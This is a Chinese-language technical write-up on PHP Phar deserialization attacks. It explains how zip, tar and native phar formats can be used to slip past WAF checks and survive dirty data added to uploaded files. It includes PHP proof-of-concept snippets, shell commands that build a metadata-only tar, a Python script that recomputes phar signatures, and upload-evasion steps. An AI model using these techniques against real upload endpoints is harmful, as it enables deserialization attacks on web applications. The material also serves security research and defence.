Phar反序列化如何解决各种waf检测和脏数据的添加问题?
字数 1666 2025-08-06 18:07:42
Phar反序列化绕过WAF检测及处理脏数据的技术研究
0x00 前言
本文详细探讨了Phar反序列化在各种文件格式(.phar、.zip、.tar)下如何绕过WAF检测以及处理被添加脏数据的问题。通过分析不同格式的特性,我们可以找到在添加脏数据后仍能正常触发反序列化的方法。
0x01 Phar支持的格式
Phar文件支持以下三种主要格式:
ZIP格式
.zip.phar.zip
TAR格式
.tar.phar.tar.phar.tar.gz.phar.tar.bz
PHAR原生格式
.phar.phar.bz2(使用bzip2 phar.phar命令生成)
0x02 实战利用方法
压缩包方法绕过检测
- 直接将数据压缩为zip、tar、tar.gz、tar.bz格式可以绕过stub或反序列化字段的检测
- 注意:zip格式不会压缩反序列化数据段
格式修复方法
- 使用
.phar格式修复可以解决文件头部(使用phar)或文件尾(使用tar)被添加脏数据的问题
重要说明:本文讨论的"可添加脏数据"指的是添加后仍能在电脑上正常打开压缩文件,但不同语言(Java、PHP、Python等)的解析能力可能不同,重点在于PHP中phar://协议能否正常解析。
0x03 ZIP格式处理脏数据
添加脏数据特性
- 头尾均可添加脏数据,但phar无法解析这种修改后的文件
- 使用工具示例:
python paddingzip.py -i ../test.phar.zip -o ../test1.phar.zip --prepend "this prepend to the start" --append "this append to the end" - Linux下添加方法:
$ echo -n "prepend" > f $ cat f a.zip > b.zip $ zip -F b.zip --out c.zip
限制条件
- ZIP格式理论上可以通过修复偏移量重新获得合法文件,但phar解析器如果发现文件头不是zip格式,即使偏移量修复完成,也会触发错误
替代方案:利用ZIP注释
可以将phar内容写入压缩包注释来触发反序列化,且能绕过stub检测(但无法绕过反序列化数据检测):
<?php
class test {
public function __wakeup() {
var_dump(__FUNCTION__);
}
}
$phar_file = serialize(new test());
$zip = new ZipArchive();
$res = $zip->open('justzip.zip', ZipArchive::CREATE);
$zip->addFromString('h0cksr.txt', 'file content goes here');
$zip->setArchiveComment($phar_file);
$zip->close();
readfile("phar://justzip.zip");
无法解析带脏字符ZIP的场景
- Java执行带脏字符的jar包会失败
- PHP无法解析
- 7zip无法解析
0x04 TAR格式处理脏数据
添加脏数据特性
- 可以在文件尾添加脏数据且phar能正常解析
- 如果能控制文件头,可构造合法的tar文件,即使文件尾有垃圾字符
测试示例:
<?php
class test {
public function __wakeup() {
var_dump(__FUNCTION__);
}
}
var_dump(file_get_contents("compress.zlib://phar://test1.phar.tar/flag.txt")); // 未修改,读取数据失败,反序列化触发成功
var_dump(file_get_contents("compress.zlib://phar://test2.phar.tar/flag.txt")); // 文件头添加内容,读取数据失败,反序列化触发失败
var_dump(file_get_contents("compress.zlib://phar://test3.phar.tar/flag.txt")); // 文件尾添加内容,读取数据失败,反序列化触发成功
绕过签名的特殊方法
在Linux环境下可以打包只包含反序列化数据的.metadata文件:
mkdir test ; cd test
mkdir .phar; cd .phar
echo 'O:4:"test":0:{}' > .metadata
cd ../..
tar -cf phar.tar .phar/
生成的phar.tar可以直接通过phar://phar.tar触发反序列化。
0x05 PHAR原生格式处理脏数据
添加脏数据特性
- 必须控制文件尾,但不需要控制文件头
- PHP解析时会查找
<?php __HALT_COMPILER(); ?>标签,标签前可为任意值,后面必须是phar格式并以文件的sha1签名和字符串GBMB结尾
修正签名的方法
可以在文件头加脏数据并正常反序列化,但需要重新计算签名:
Python修正签名脚本:
import hashlib
with open('phar.phar', 'rb') as f:
content = f.read()
text = content[:-28]
end = content[-8:]
sig = hashlib.sha1(text).digest()
with open('phar_new.phar', 'wb+') as f:
f.write(text + sig + end)
PHAR文件结构
- 数据段
- 签名(默认sha1,20字节)
- 签名方式(4字节)
- 声明文件有无签名(4字节)
支持的签名算法:MD5、SHA256、SHA512、OpenSSL
签名是对前面全部数据段内容根据加密算法得到的结果。
构造可利用PHAR文件的步骤
- 生成正常的.phar文件
- 往文件头部添加脏数据
- 使用上述代码修正签名
- 使用010editor将头部的脏数据删除
- 上传文件
0x06 总结
| 格式 | 解决WAF检测 | 解决脏数据问题 | 适用场景 |
|---|---|---|---|
| ZIP | 可解决stub检测 | 无法解决脏数据问题 | 需要绕过stub检测时 |
| TAR | 可解决各种检测 | 可解决文件尾脏数据 | 文件尾被添加脏数据时 |
| PHAR | 原生格式 | 可解决文件头脏数据 | 文件头被添加脏数据时 |
0x07 补充说明
其他语言对带脏字符ZIP文件的处理:
- unzip命令解压时会忽略前置脏字符
- Java解析Zip包会忽略前置脏字符
- Python解析Zip包会忽略前置脏字符